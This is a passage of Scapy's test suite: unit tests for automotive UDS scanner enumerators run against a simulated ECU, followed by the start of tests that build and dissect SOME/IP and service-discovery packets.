len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 0\nassert len(tc.results_with_positive_response) == 4\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nids = [t.req.dataIdentifier for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 2 in ids\nassert 3 in ids\nassert 0xff in ids\n\n\n= UDS_TPEnumerator\n\nresps = [EcuResponse(None, [UDS()/UDS_TPPR()]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"serviceNotSupported\", requestServiceId=\"TesterPresent\")])]\n\nes = [UDS_TPEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(resps, es)\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 0\nassert len(tc.results_with_positive_response) == 2\nassert len(tc.scanned_states) == 2\n\nassert tc.show(dump=True)\n\n= UDS_EREnumerator\n\nresps = [EcuResponse(None, [UDS()/UDS_ERPR(resetType=1)]),\n         EcuResponse(None, [UDS()/UDS_ERPR(resetType=3)]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=\"ECUReset\")])]\n\nes = [UDS_EREnumerator]\n\nscanner = executeScannerInVirtualEnvironment(resps, es)\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 256 - 2\nassert len(tc.results_with_positive_response) == 2\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"hardReset\" in result\nassert \"softReset\" in result\nassert \"subFunctionNotSupported received\" in result\n\nids = [t.req.resetType for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 3 in ids\n\n\n= UDS_CCEnumerator\n\nresps = [EcuResponse(None, [UDS()/UDS_CCPR(controlType=1)]),\n         EcuResponse(None, [UDS()/UDS_CCPR(controlType=3)]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=\"CommunicationControl\")])]\n\nes = [UDS_CCEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(resps, es, inter=0.001)\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 256 - 2\nassert len(tc.results_with_positive_response) == 2\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"enableRxAndDisableTx\" in result\nassert \"disableRxAndTx\" in result\nassert \"subFunctionNotSupported received\" in result\n\nids = [t.req.controlType for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 3 in ids\n\n= UDS_RDBPIEnumerator\n\nUDS_RDBPI.periodicDataIdentifiers[1] = \"identifierElectric\"\nUDS_RDBPI.periodicDataIdentifiers[3] = \"identifierGas\"\n\nresps = [EcuResponse(None, [UDS()/UDS_RDBPIPR(periodicDataIdentifier=1, dataRecord=b'electric')]),\n         EcuResponse(None, [UDS()/UDS_RDBPIPR(periodicDataIdentifier=3, dataRecord=b'gas')]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=\"ReadDataPeriodicIdentifier\")])]\n\nes = [UDS_RDBPIEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(resps, es)\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 256 - 2\nassert len(tc.results_with_positive_response) == 2\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"electric\" in result\nassert \"gas\" in result\nassert \"0x01 identifierElectric\" in result\nassert \"0x03 identifierGas\" in result\nassert \"subFunctionNotSupported received\" in result\n\nids = [t.req.periodicDataIdentifier for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 3 in ids\n\n\n= UDS_RCEnumerator\n\nresps = [EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=1, routineIdentifier=1)/Raw(b\"asdfbeef1\")]),\n         EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=2, routineIdentifier=2)/Raw(b\"beef2\")]),\n         EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=3, routineIdentifier=3)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=1, routineIdentifier=0x10)/Raw(b\"beefff\")]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=\"RoutineControl\")])]\n\nes = [UDS_RCEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(resps, es, UDS_RCEnumerator_kwargs={\"scan_range\": range(0x11)})\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 0x11 * 3 - 4\nassert len(tc.results_with_positive_response) == 4\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"subFunctionNotSupported received\" in result\n\nids = [t.req.routineIdentifier for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 2 in ids\nassert 3 in ids\nassert 0x10 in ids\n\n\n= UDS_RCSelectiveEnumerator\n\nresps = [EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=1, routineIdentifier=1)/Raw(b\"asdfbeef1\")]),\n         EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=2, routineIdentifier=1)/Raw(b\"beef2\")]),\n         EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=3, routineIdentifier=1)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RCPR(routineControlType=1, routineIdentifier=0x10)/Raw(b\"beefff\")]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=\"RoutineControl\")])]\n\nes = [UDS_RCSelectiveEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(resps, es, UDS_RCStartEnumerator_kwargs={\"scan_range\": range(0x11)})\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\ntc = scanner.configuration.stages[0][0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 0x11 - 2\nassert len(tc.results_with_positive_response) == 2\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"subFunctionNotSupported received\" in result\n\nids = [t.req.routineIdentifier for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 0x10 in ids\n\ntc = scanner.configuration.stages[0][1]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 538\nassert len(tc.results_with_positive_response) == 2\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"subFunctionNotSupported received\" in result\n\nids = [t.req.routineIdentifier for t in tc.results_with_positive_response]\n\nassert 1 in ids\n\n= UDS_IOCBIEnumerator\n\nresps = [EcuResponse(None, [UDS()/UDS_IOCBIPR(dataIdentifier=1)/Raw(b\"asdfbeef1\")]),\n         EcuResponse(None, [UDS()/UDS_IOCBIPR(dataIdentifier=2)/Raw(b\"beef2\")]),\n         EcuResponse(None, [UDS()/UDS_IOCBIPR(dataIdentifier=3)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_IOCBIPR(dataIdentifier=0xff)/Raw(b\"beefff\")]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=\"InputOutputControlByIdentifier\")])]\n\nes = [UDS_IOCBIEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(resps, es, UDS_IOCBIEnumerator_kwargs={\"scan_range\": range(0x100)})\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 0x100 - 4\nassert len(tc.results_with_positive_response) == 4\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"asdfbeef1\" in result\nassert \"beef2\" in result\nassert \"beef3\" in result\nassert \"beefff\" in result\nassert \"subFunctionNotSupported received\" in result\n\nids = [t.req.dataIdentifier for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 2 in ids\nassert 3 in ids\nassert 0xff in ids\n\n\n= UDS_RDEnumerator\n\nmemory = dict()\n\nfor addr in itertools.chain(range(0x1f00), range(0xd000, 0xfff2), range(0xa000, 0xcf00), range(0x2000, 0x5f00)):\n    memory[addr] = addr & 0xff\n\ndef answers_rd(resp, req):\n    global memory\n    if req.service != 0x34:\n        return False\n    if req.memorySizeLen in [1, 3, 4]:\n        return False\n    if req.memoryAddressLen in [1, 3, 4]:\n        return False\n    addr = getattr(req, \"memoryAddress%d\" % req.memoryAddressLen)\n    if addr not in memory.keys():\n        return False\n    resp.memorySizeLen = req.memorySizeLen\n    return True\n\nresps = [EcuResponse(None, [UDS()/UDS_RDPR()], answers=answers_rd),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"requestOutOfRange\", requestServiceId=\"RequestDownload\")])]\n\n#######################################################\nscanner = executeScannerInVirtualEnvironment(\n    resps, [UDS_RDEnumerator], unstable_socket=False,\n    UDS_RDEnumerator_kwargs={\"unittest\": True})\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\ntc1 = scanner.configuration.test_cases[0]\n\nassert len(tc1.results_without_response) < 10\nif len(tc1.results_without_response):\n    tc1.show()\n\nassert len(tc1.results_with_negative_response) > 400\nassert len(tc1.results_with_positive_response) > 40\nassert len(tc1.scanned_states) == 1\n\nresult = tc1.show(dump=True)\n\nassert \"requestOutOfRange received \" in result\n\n= UDS_RMBARandomEnumerator\n\npkt = UDS_RMBARandomEnumerator._random_memory_addr_pkt(4, 4, 10)\n\nassert pkt.memorySizeLen == 4\nassert pkt.memoryAddressLen == 4\nassert pkt.memorySize4 == 10\nassert pkt.memoryAddress4 is not None\n\npkt = UDS_RMBARandomEnumerator._random_memory_addr_pkt()\n\nassert pkt.memorySizeLen in [1, 2, 3, 4]\nassert pkt.memoryAddressLen in [1, 2, 3, 4]\n\npkt2 = UDS_RMBARandomEnumerator._random_memory_addr_pkt()\n\nassert pkt != pkt2\n\n\n= UDS_RMBAEnumerator\n~ linux not_pypy\n\nmemory = dict()\n\nmem_areas = [(0x100, 0x1f00), (0xd000, 0xff00), (0xa000, 0xc000), (0x3000, 0x5f00)]\n\nmem_ranges = [range(s, e) for s, e in mem_areas]\n\nmem_inner_borders = [s for s, _ in mem_areas]\nmem_inner_borders += [e - 1 for _, e in mem_areas]\n\nmem_outer_borders = [s - 1 for s, _ in mem_areas]\nmem_outer_borders += [e for _, e in mem_areas]\n\nmem_random_test_points = []\nfor _ in range(100):\n    mem_random_test_points += [random.choice(list(itertools.chain(*mem_ranges)))]\n\nfor addr in itertools.chain(*mem_ranges):\n    memory[addr] = addr & 0xff\n\ndef answers_rmba(resp, req):\n    global memory\n    if req.service != 0x23:\n        return False\n    if req.memorySizeLen in [1, 3, 4]:\n        return False\n    if req.memoryAddressLen in [1, 3, 4]:\n        return False\n    addr = getattr(req, \"memoryAddress%d\" % req.memoryAddressLen)\n    if addr not in memory.keys():\n        return False\n    out_mem = list()\n    size = getattr(req, \"memorySize%d\" % req.memorySizeLen)\n    for i in range(addr, addr + size):\n        try:\n            out_mem.append(memory[i])\n        except KeyError:\n            pass\n    resp.dataRecord = bytes(out_mem)\n    return True\n\nresps = [EcuResponse(None, [UDS()/UDS_RMBAPR(dataRecord=b'')], answers=answers_rmba),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"requestOutOfRange\", requestServiceId=\"ReadMemoryByAddress\")])]\n\n#######################################################\nscanner = executeScannerInVirtualEnvironment(\n    resps, [UDS_RMBAEnumerator], unstable_socket=False,\n    UDS_RMBARandomEnumerator_kwargs={\"unittest\": True})\n\nassert scanner.scan_completed\ntc1 = scanner.configuration.stages[0][1]\n\nassert len(tc1.results_without_response) < 30\nif len(tc1.results_without_response):\n    tc1.show()\n\nassert len(tc1.results_with_negative_response) > 10\nassert len(tc1.results_with_positive_response) > 300\nassert len(tc1.scanned_states) == 1\n\nresult = tc1.show(dump=True)\n\nassert \"requestOutOfRange received \" in result\n\n############################################################\n\naddrs = tc1._get_memory_addresses_from_results(tc1.results_with_positive_response)\n\nprint(float([tp in addrs for tp in mem_inner_borders].count(True)) / len(mem_inner_borders))\nassert float([tp in addrs for tp in mem_inner_borders].count(True)) / len(mem_inner_borders) > 0.8\nprint(float([tp in addrs for tp in mem_random_test_points].count(True)) / len(mem_random_test_points))\nassert float([tp in addrs for tp in mem_random_test_points].count(True)) / len(mem_random_test_points) > 0.8\nprint(float([tp not in addrs for tp in mem_outer_borders].count(True)) / len(mem_outer_borders))\nassert float([tp not in addrs for tp in mem_outer_borders].count(True)) / len(mem_outer_borders) > 0.7\n\n\n= UDS_TDEnumerator\n\nresps = [EcuResponse(None, [UDS()/UDS_TDPR(blockSequenceCounter=1)]),\n         EcuResponse(None, [UDS()/UDS_TDPR(blockSequenceCounter=3)]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=\"TransferData\")])]\n\nes = [UDS_TDEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(resps, es)\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 256 - 2\nassert len(tc.results_with_positive_response) == 2\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"subFunctionNotSupported received\" in result\n\nids = [t.req.blockSequenceCounter for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 3 in ids\n\n= BMW_DevJobEnumerator\n\nload_contrib(\"automotive.bmw.definitions\")\nload_contrib(\"automotive.bmw.enumerator\")\n\nresps = [EcuResponse(None, [UDS()/DEV_JOB_PR(identifier=0xff00)/Raw(b\"asdfbeef1\")]),\n         EcuResponse(None, [UDS()/DEV_JOB_PR(identifier=0xff02)/Raw(b\"beef2\")]),\n         EcuResponse(None, [UDS()/DEV_JOB_PR(identifier=0xff03)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/DEV_JOB_PR(identifier=0xffff)/Raw(b\"beefff\")]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=\"DevelopmentJob\")])]\n\nes = [BMW_DevJobEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(resps, es, BMW_DevJobEnumerator_kwargs={\"scan_range\": range(0xFF00, 0x10000)})\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 0x100 - 4\nassert len(tc.results_with_positive_response) == 4\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"ReadTransportMessageStatus\" in result\nassert \"65282\" in result\nassert \"65283\" in result\nassert \"ReadMemory\" in result\nassert \"subFunctionNotSupported received\" in result\nassert \"PR: Supported\" in result\n\nids = [t.req.identifier for t in tc.results_with_positive_response]\n\nassert 0xff00 in ids\nassert 0xff02 in ids\nassert 0xff03 in ids\nassert 0xffff in ids\n\n= UDS_ServiceEnumerator weird issue\n\nresps = [EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=0x13, requestServiceId=0x40)]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=0x41)]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=0x11)]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=0x42)]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=0x43)])]\n\nes = [UDS_ServiceEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(\n    resps, es, UDS_ServiceEnumerator_kwargs={\"scan_range\": [0x11, 0x40, 0x41, 0x42]})\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\ntc = scanner.configuration.test_cases[0]\ntc.show()\n\nassert len(tc.results_with_negative_response) == 4\n\n= UDS_ServiceEnumerator, all range\n\ndef req_handler(resp, req):\n    if req.service != 0x22:\n        return False\n    if len(req) == 1:\n        resp.negativeResponseCode=\"generalReject\"\n        return True\n    if len(req) == 2:\n        resp.negativeResponseCode=\"incorrectMessageLengthOrInvalidFormat\"\n        return True\n    if len(req) == 3:\n        resp.negativeResponseCode=\"requestOutOfRange\"\n        return True\n    return False\n\nresps = [EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=\"ReadDataByIdentifier\")], req_handler)]\n\nes = [UDS_ServiceEnumerator]\n\ndebug_dissector_backup = conf.debug_dissector\n\n# This Enumerator is sending corrupted Packets, therefore we need to disable the debug_dissector\nconf.debug_dissector = False\nscanner = executeScannerInVirtualEnvironment(\n    resps, es, UDS_ServiceEnumerator_kwargs={\"request_length\": 3, \"scan_range\": range(256)}, unstable_socket=False)\nconf.debug_dissector = debug_dissector_backup\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\ntc.show()\n\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"incorrectMessageLengthOrInvalidFormat\" in result\nassert \"requestOutOfRange\" in result\n\n+ Cleanup\n\n= Delete testsockets\n\n\ncleanup_testsockets()\n"
  },
  {
    "path": "test/contrib/automotive/someip.uts",
    "content": "# MIT License\n\n# Copyright (c) 2018 Jose Amores\n\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\n# This file is part of Scapy\n# See http://www.secdev.org/projects/scapy for more information\n# Copyright (C) Sebastian Baar <sebastian.baar@gmx.de>\n# This program is published under a GPLv2 license\n\n##########\n##########\n\n\n+ Basic operations\n\n= Load module\nload_contrib(\"automotive.someip\", globals_dict=globals())\n\n+ SOME/IP operation\n\n= Basic build\np = SOMEIP()\npstr = bytes(p)\nbinstr = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x01\\x01\\x00\\x00\"\nassert pstr == binstr\n\n= Build with empty payload\np.payload = Raw(b\"\")\npstr = bytes(p)\nbinstr = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x01\\x01\\x00\\x00\"\nassert pstr == binstr\n\n= Build with non-empty payload\np.payload = Raw(b\"\\xde\\xad\\xbe\\xef\")\npstr = bytes(p)\nbinstr = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\xde\\xad\\xbe\\xef\"\nassert pstr == binstr\n\n= Dissect EVENT_ID packet\np = SOMEIP(b\"\\x11\\x11\\x81\\x11\\x00\\x00\\x00\\x08\\x33\\x33\\x44\\x44\\x02\\x03\\x04\\x05\")\n\nassert p.srv_id == 0x1111\nassert p.sub_id == 0x8111\nassert p.client_id == 0x3333\nassert p.session_id == 0x4444\nassert p.proto_ver == 0x02\nassert p.iface_ver == 0x03\nassert p.msg_type == 0x04\nassert p.retcode == 0x05\n\n\n= Dissect METHOD_ID packet\np = SOMEIP(b\"\\x11\\x11\\x01\\x11\\x00\\x00\\x00\\x08\\x33\\x33\\x44\\x44\\x02\\x03\\x04\\x05\")\n\nassert p.srv_id == 0x1111\nassert p.sub_id == 0x0111\nassert p.client_id == 0x3333\nassert p.session_id == 0x4444\nassert p.proto_ver == 0x02\nassert p.iface_ver == 0x03\nassert p.msg_type == 0x04\nassert p.retcode == 0x05\n\n+ SOME/IP-TP operation\n\n= Build TP\np = SOMEIP()\np.msg_type = 0x20\n\npstr = bytes(p)\nprint(pstr)\nbinstr = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x01\\x01\\x20\\x00\\x00\\x00\\x00\\x00'\nassert pstr == binstr\n\np.more_seg = 1\npstr = bytes(p)\nbinstr = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x01\\x01\\x20\\x00\\x00\\x00\\x00\\x01'\nassert pstr == binstr\n\np.msg_type = 0x00\npstr = bytes(p)\nbinstr = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x01\\x01\\x00\\x00'\nassert pstr == binstr\n\n= Dissect TP\np = SOMEIP(b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x01\\x01\\x21\\x00\\x00\\x00\\x00\\x01')\n\nassert p.msg_type == 0x21\nassert p.more_seg == 1\nassert p.len == 12\n\np.msg_type = 0x00\n\npstr = bytes(p)\nbinstr = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x01\\x01\\x00\\x00\"\nassert pstr == binstr\n\n= Build TP fragmented payload\np = SOMEIP()\np.msg_type = 0x20\np.add_payload(Raw(\"A\"*1400))\n\nf = p.fragment()\n\nassert f[0].len == 1404\nassert f[1].len == 20\nassert f[0].payload == Raw(\"A\"*1392)\nassert f[1].payload == Raw(\"A\"*8)\nassert f[0].more_seg == 1\nassert f[1].more_seg == 0\n\n= Build TP fragmented data\np = SOMEIP()\np.msg_type = 0x20\np.data = [Raw(\"A\"*1400)]\n\nf = p.fragment()\n\nassert f[0].len == 1404\nassert f[1].len == 20\nassert f[0].data[0] == Raw(\"A\"*1392)\nassert f[1].data[0] == Raw(\"A\"*8)\nassert f[0].more_seg == 1\nassert f[1].more_seg == 0\n\n+ SD Entry Service\n\n= Check packet length on empty build\np = SDEntry_Service()\nassert len(bytes(p)) == SDENTRY_OVERALL_LEN\n\n= Build 1\np = SDEntry_Service(type = SDENTRY_TYPE_SRV_OFFERSERVICE,\n\t\t\t\t    index_1 = 0x11, index_2 = 0x22, srv_id = 0x3333,\n\t\t\t\t\tinst_id = 0x4444, major_ver = 0x55,\n\t\t\t\t\tttl = 0x666666, minor_ver = 0xdeadbeef)\np_str = bytes(p)\nbin_str = b\"\\x01\\x11\\x22\\x00\\x33\\x33\\x44\\x44\\x55\\x66\\x66\\x66\\xde\\xad\\xbe\\xef\"\nassert p_str == bin_str\nassert len(p_str) == SDENTRY_OVERALL_LEN\n\n= Build 2\np = SDEntry_Service(n_opt_1 = 0xf1, n_opt_2 = 0xf2)\np_str = bytes(p)\nbin_str = b\"\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\nassert p_str == bin_str\nassert len(p_str) == SDENTRY_OVERALL_LEN\n\n= Dissect\np = SDEntry_Service(\n    b\"\\x01\\x22\\x33\\x00\\x44\\x44\\x55\\x55\\x66\\x77\\x77\\x77\\xde\\xad\\xbe\\xef\")\nassert p.type == SDENTRY_TYPE_SRV_OFFERSERVICE\nassert p.index_1 == 0x22\nassert p.index_2 == 0x33\nassert p.srv_id == 0x4444\nassert p.inst_id == 0x5555\nassert p.major_ver == 0x66\nassert p.ttl == 0x777777\nassert p.minor_ver == 0xdeadbeef\n\n+ SD Entry Eventgroup\n\n= Check packet length on empty build\np = SDEntry_EventGroup()\nassert len(bytes(p)) == SDENTRY_OVERALL_LEN\n\n= Build\np = SDEntry_EventGroup(index_1 = 0x11, index_2 = 0x22, srv_id = 0x3333,\n\t\t\t           inst_id = 0x4444, major_ver = 0x55, ttl = 0x666666,\n\t\t\t\t\t   cnt = 0x7, eventgroup_id = 0x8888)\np_str = bytes(p)\nbin_str = b\"\\x06\\x11\\x22\\x00\\x33\\x33\\x44\\x44\\x55\\x66\\x66\\x66\\x00\\x07\\x88\\x88\"\nassert p_str == bin_str\nassert len(bytes(p)) == SDENTRY_OVERALL_LEN\n\n= Dissect\np = SDEntry_EventGroup(\n    b\"\\x06\\x11\\x22\\x00\\x33\\x33\\x44\\x44\\x55\\x66\\x66\\x66\\x00\\x07\\x88\\x88\")\nassert p.index_1 == 0x11\nassert p.index_2 == 0x22\nassert p.srv_id == 0x3333\nassert p.inst_id == 0x4444\nassert p.major_ver == 0x55\nassert p.ttl == 0x666666\nassert p.cnt == 0x7\nassert p.eventgroup_id == 0x8888\n\n+ SD Flags\n\n= Build and check flags\np = SD()\np.flags = \"REBOOT\"\nassert p.flags == 0x80\n\np.flags = \"\"\nassert p.flags == 0x00\n\np.flags = \"UNICAST\"\nassert p.flags == 0x40\n\np.flags = \"\"\nassert p.flags == 0x00\n\np.flags = \"EXPLICIT_INITIAL_DATA_CONTROL\"\nassert p.flags == 0x20\n\np.flags = \"\"\nassert p.flags == 0x00\n\np.flags = \"REBOOT+UNICAST+EXPLICIT_INITIAL_DATA_CONTROL\"\nassert p.flags == 0xe0\n\n+ SD Get SOME/IP Packet\n\n= Build empty\np = SOMEIP() / SD()\nassert len(bytes(p)) == SOMEIP._OVERALL_LEN_NOPAYLOAD + 12\n\n= Verify constants against spec TR_SOMEIP_00250\nassert SD.SOMEIP_MSGID_SRVID == 0xffff\nassert SD.SOMEIP_MSGID_SUBID == 0x8100\nassert SD.SOMEIP_CLIENT_ID == 0x0000\nassert SD.SOMEIP_MINIMUM_SESSION_ID == 0x0001\nassert SD.SOMEIP_PROTO_VER == 0x01\nassert SD.SOMEIP_IFACE_VER == 0x01\nassert SD.SOMEIP_MSG_TYPE == 0x02\nassert SD.SOMEIP_RETCODE == 0x00\n\n= check that values are bound\nassert p[SOMEIP].srv_id == SD.SOMEIP_MSGID_SRVID\nassert p[SOMEIP].sub_id == SD.SOMEIP_MSGID_SUBID\nassert p[SOMEIP].client_id == SD.SOMEIP_CLIENT_ID\nassert p[SOMEIP].session_id != 0x0000\nassert p[SOMEIP].session_id >= SD.SOMEIP_MINIMUM_SESSION_ID\nassert p[SOMEIP].proto_ver == SD.SOMEIP_PROTO_VER\nassert p[SOMEIP].iface_ver == SD.SOMEIP_IFACE_VER\nassert p[SOMEIP].msg_type == SD.SOMEIP_MSG_TYPE\nassert p[SOMEIP].retcode == SD.SOMEIP_RETCODE\n\n# FIXME: Service Discovery messages shell be transported over UDP\n# (TR_SOMEIP_00248)\n# FIXME: The port 30490 (UDP and TCP as well) shall be only used for SOME/IP-SD\n# and not used for applications communicating over SOME/IP (TR_SOMEIP_00020)\n\n+ SD\n\n= Check length of package without entries nor options\np = SD()\nassert len(bytes(p)) == 12\n\n= Check entries to array and size check\np.set_entryArray([SDEntry_Service(), SDEntry_EventGroup()])\nassert struct.unpack(\"!L\", bytes(p)[4:8])[0] == 32\n\np.set_entryArray([])\nassert struct.unpack(\"!L\", bytes(p)[4:8])[0] == 0\n\n= Check Options to array and size check\np.set_optionArray([SDOption_IP4_EndPoint(), SDOption_IP4_EndPoint()])\nassert struct.unpack(\"!L\", bytes(p)[8:12])[0] == 24\n\np.set_optionArray([])\nassert struct.unpack(\"!L\", bytes(p)[8:12])[0] == 0\n\n= Check Entries & Options to array and size check\np.set_entryArray([SDEntry_Service(), SDEntry_EventGroup()])\np.set_optionArray([SDOption_IP4_EndPoint(), SDOption_IP4_EndPoint()])\n\nassert struct.unpack(\"!L\", bytes(p)[4:8])[0] == 32\nassert struct.unpack(\"!L\", bytes(p)[40:44])[0] == 24\n\n\n+ Git issue 2348: SOME/IP-SD Entry-Array is broken by building it from RAW\n\n= Single SD entry\n# offer service\nea1 = SDEntry_Service()\nea1.type = 1\nea1.srv_id = 0x1234\nea1.inst_id = 0x5678\nea1.ttl = 0x333333\n\n# subscribe eventgroup\nea2 = SDEntry_EventGroup()\nea2.type = 0x6\nea2.srv_id = 0x8765\nea2.inst_id = 0x4321\nea2.ttl = 